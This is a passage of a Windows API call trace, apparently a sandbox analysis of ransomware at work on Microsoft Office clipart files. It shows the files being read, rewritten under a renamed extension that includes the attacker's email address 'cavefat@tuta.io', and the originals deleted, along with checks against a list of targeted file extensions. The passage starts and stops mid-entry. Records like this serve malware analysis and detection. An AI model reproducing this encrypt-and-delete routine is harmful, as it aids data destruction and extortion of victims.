Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf")) returned 0x220 [0161.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0161.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0161.625] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.625] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0161.625] GetLastError () returned 0x0 [0161.626] ReadFile (in: hFile=0x374, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1746, lpOverlapped=0x0) returned 1 [0161.627] WriteFile (in: hFile=0x35c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1750, lpOverlapped=0x0) returned 1 [0161.627] ReadFile (in: hFile=0x374, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0161.627] WriteFile (in: hFile=0x35c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0161.628] SetEndOfFile (hFile=0x35c) returned 1 [0161.628] CloseHandle (hObject=0x35c) returned 1 [0161.629] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.629] SetEndOfFile (hFile=0x374) returned 1 [0161.629] CloseHandle (hObject=0x374) returned 1 [0161.629] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0161.630] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf")) returned 1 [0161.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0161.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0161.630] lstrlenW (lpString=".doc") returned 4 [0161.630] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.630] lstrlenW (lpString=".docx") returned 5 [0161.630] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.630] lstrlenW (lpString=".pdf") returned 4 [0161.630] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.630] lstrlenW (lpString=".xls") returned 4 [0161.630] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.630] lstrlenW (lpString=".xlsx") returned 5 [0161.630] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.630] lstrlenW (lpString=".ppt") returned 4 [0161.630] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0161.630] lstrlenW (lpString=".zip") returned 4 [0161.630] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.630] lstrlenW (lpString=".rar") returned 4 [0161.630] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.630] lstrlenW (lpString=".bz2") returned 4 [0161.630] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.630] lstrlenW (lpString=".7z") returned 3 [0161.630] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0161.630] lstrlenW (lpString=".dbf") returned 4 [0161.630] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0161.630] lstrlenW (lpString=".1cd") returned 4 [0161.631] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0161.631] lstrlenW (lpString=".jpg") returned 4 [0161.631] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0161.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0161.631] lstrlenW (lpString=".doc") returned 4 [0161.631] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.631] lstrlenW (lpString=".docx") returned 5 [0161.631] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.631] lstrlenW (lpString=".pdf") returned 4 [0161.631] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.631] lstrlenW (lpString=".xls") returned 4 [0161.631] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.631] lstrlenW (lpString=".xlsx") returned 5 [0161.631] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.631] lstrlenW (lpString=".ppt") returned 4 [0161.631] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0161.631] lstrlenW (lpString=".zip") returned 4 [0161.631] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.631] lstrlenW (lpString=".rar") returned 4 [0161.631] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.631] lstrlenW (lpString=".bz2") returned 4 [0161.631] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.631] lstrlenW (lpString=".7z") returned 3 [0161.631] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0161.631] lstrlenW (lpString=".dbf") returned 4 [0161.631] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0161.631] lstrlenW (lpString=".1cd") returned 4 [0161.631] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0161.631] lstrlenW (lpString=".jpg") returned 4 [0161.631] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.631] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0161.631] lstrlenW (lpString="HH01618_.WMF") returned 12 [0161.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0161.632] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=7296) returned 1 [0161.632] CloseHandle (hObject=0x374) returned 1 [0161.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf")) returned 0x220 [0161.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0161.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0161.632] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.632] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0161.633] GetLastError () returned 0x0 [0161.633] ReadFile (in: hFile=0x374, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1c80, lpOverlapped=0x0) returned 1 [0161.634] WriteFile (in: hFile=0x35c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1c90, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1c90, lpOverlapped=0x0) returned 1 [0161.635] ReadFile (in: hFile=0x374, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0161.635] WriteFile (in: hFile=0x35c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0161.635] SetEndOfFile (hFile=0x35c) returned 1 [0161.635] CloseHandle (hObject=0x35c) returned 1 [0161.636] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.636] SetEndOfFile (hFile=0x374) returned 1 [0161.636] CloseHandle (hObject=0x374) returned 1 [0161.636] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0161.637] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf")) returned 1 [0161.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0161.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0161.637] lstrlenW (lpString=".doc") returned 4 [0161.637] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.637] lstrlenW (lpString=".docx") returned 5 [0161.637] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.637] lstrlenW (lpString=".pdf") returned 4 [0161.637] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.637] lstrlenW (lpString=".xls") returned 4 [0161.637] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.637] lstrlenW (lpString=".xlsx") returned 5 [0161.637] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.637] lstrlenW (lpString=".ppt") returned 4 [0161.637] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0161.637] lstrlenW (lpString=".zip") returned 4 [0161.637] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.637] lstrlenW (lpString=".rar") returned 4 [0161.637] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.637] lstrlenW (lpString=".bz2") returned 4 [0161.637] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.637] lstrlenW (lpString=".7z") returned 3 [0161.637] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0161.637] lstrlenW (lpString=".dbf") returned 4 [0161.637] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0161.637] lstrlenW (lpString=".1cd") returned 4 [0161.637] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0161.637] lstrlenW (lpString=".jpg") returned 4 [0161.638] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0161.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0161.638] lstrlenW (lpString=".doc") returned 4 [0161.638] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.638] lstrlenW (lpString=".docx") returned 5 [0161.638] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.638] lstrlenW (lpString=".pdf") returned 4 [0161.638] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.638] lstrlenW (lpString=".xls") returned 4 [0161.638] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.638] lstrlenW (lpString=".xlsx") returned 5 [0161.638] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.638] lstrlenW (lpString=".ppt") returned 4 [0161.638] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0161.638] lstrlenW (lpString=".zip") returned 4 [0161.638] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.638] lstrlenW (lpString=".rar") returned 4 [0161.638] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.638] lstrlenW (lpString=".bz2") returned 4 [0161.638] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.638] lstrlenW (lpString=".7z") returned 3 [0161.638] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0161.638] lstrlenW (lpString=".dbf") returned 4 [0161.638] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0161.638] lstrlenW (lpString=".1cd") returned 4 [0161.638] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0161.638] lstrlenW (lpString=".jpg") returned 4 [0161.638] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.638] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0161.638] lstrlenW (lpString="HH01759_.WMF") returned 12 [0161.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0162.360] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=5414) returned 1 [0162.360] CloseHandle (hObject=0x360) returned 1 [0162.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf")) returned 0x220 [0162.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0162.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0162.360] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.360] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0162.361] GetLastError () returned 0x0 [0162.361] ReadFile (in: hFile=0x360, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1526, lpOverlapped=0x0) returned 1 [0162.378] WriteFile (in: hFile=0x30c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1530, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1530, lpOverlapped=0x0) returned 1 [0162.379] ReadFile (in: hFile=0x360, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0162.379] WriteFile (in: hFile=0x30c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0162.379] SetEndOfFile (hFile=0x30c) returned 1 [0162.379] CloseHandle (hObject=0x30c) returned 1 [0162.380] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.380] SetEndOfFile (hFile=0x360) returned 1 [0162.381] CloseHandle (hObject=0x360) returned 1 [0162.381] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0162.381] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf")) returned 1 [0162.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0162.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0162.381] lstrlenW (lpString=".doc") returned 4 [0162.381] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.381] lstrlenW (lpString=".docx") returned 5 [0162.381] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0162.381] lstrlenW (lpString=".pdf") returned 4 [0162.381] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.381] lstrlenW (lpString=".xls") returned 4 [0162.381] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.381] lstrlenW (lpString=".xlsx") returned 5 [0162.381] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0162.381] lstrlenW (lpString=".ppt") returned 4 [0162.381] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0162.381] lstrlenW (lpString=".zip") returned 4 [0162.381] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.381] lstrlenW (lpString=".rar") returned 4 [0162.382] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.382] lstrlenW (lpString=".bz2") returned 4 [0162.382] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.382] lstrlenW (lpString=".7z") returned 3 [0162.382] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0162.382] lstrlenW (lpString=".dbf") returned 4 [0162.382] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0162.382] lstrlenW (lpString=".1cd") returned 4 [0162.382] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0162.382] lstrlenW (lpString=".jpg") returned 4 [0162.382] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0162.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0162.382] lstrlenW (lpString=".doc") returned 4 [0162.382] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.382] lstrlenW (lpString=".docx") returned 5 [0162.382] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0162.382] lstrlenW (lpString=".pdf") returned 4 [0162.382] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.382] lstrlenW (lpString=".xls") returned 4 [0162.382] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.382] lstrlenW (lpString=".xlsx") returned 5 [0162.382] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0162.382] lstrlenW (lpString=".ppt") returned 4 [0162.382] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0162.382] lstrlenW (lpString=".zip") returned 4 [0162.382] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.382] lstrlenW (lpString=".rar") returned 4 [0162.382] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.382] lstrlenW (lpString=".bz2") returned 4 [0162.382] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.382] lstrlenW (lpString=".7z") returned 3 [0162.382] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0162.382] lstrlenW (lpString=".dbf") returned 4 [0162.382] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0162.382] lstrlenW (lpString=".1cd") returned 4 [0162.382] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0162.382] lstrlenW (lpString=".jpg") returned 4 [0162.382] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.382] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0162.382] lstrlenW (lpString="HH02298_.WMF") returned 12 [0162.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0162.383] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=5552) returned 1 [0162.383] CloseHandle (hObject=0x360) returned 1 [0162.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf")) returned 0x220 [0162.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft 